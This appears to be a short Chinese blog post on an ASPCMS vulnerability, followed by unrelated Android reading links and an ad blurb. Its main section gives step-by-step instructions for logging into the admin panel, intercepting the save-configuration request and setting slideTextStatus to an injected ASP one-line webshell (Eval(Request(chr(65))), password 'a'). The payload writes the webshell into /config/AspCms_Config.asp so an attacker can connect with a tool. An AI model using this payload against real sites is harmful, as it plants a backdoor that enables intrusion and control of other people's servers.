ASPCMS 漏洞

avatar
作者
猴君
阅读量:0

一、后台修改配置文件拿shell

登录后台后如下点击

点击保存并抓包

将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包（连接密码是a）

影响文件为 /config/AspCms_Config.asp

访问文件,使用工具连接

相关阅读
  1. 如何查看和设置我的Android N设备的权限？
  2. 如何在安卓手机上自定义应用图标？
  3. 如何在安卓微信中同时听语音和查看图片？
  4. 华为哪些设备将支持升级至安卓7.0？
  5. 微信安卓软件中Q10功能有哪些独特之处？
  6. 安卓用户如何挑选最佳视频播放器应用？
  7. 安卓系统中用户文件目录的确切位置是什么？
  8. 小米4用户如何安全升级到安卓8.0系统？
  9. 如何成功将魅蓝5升级至安卓原生7.0版本？
  10. 16GB存储的安卓手机是否能满足日常需求？

广告一刻

为您即时展示最新活动产品广告消息，让您随时掌握产品活动新动态！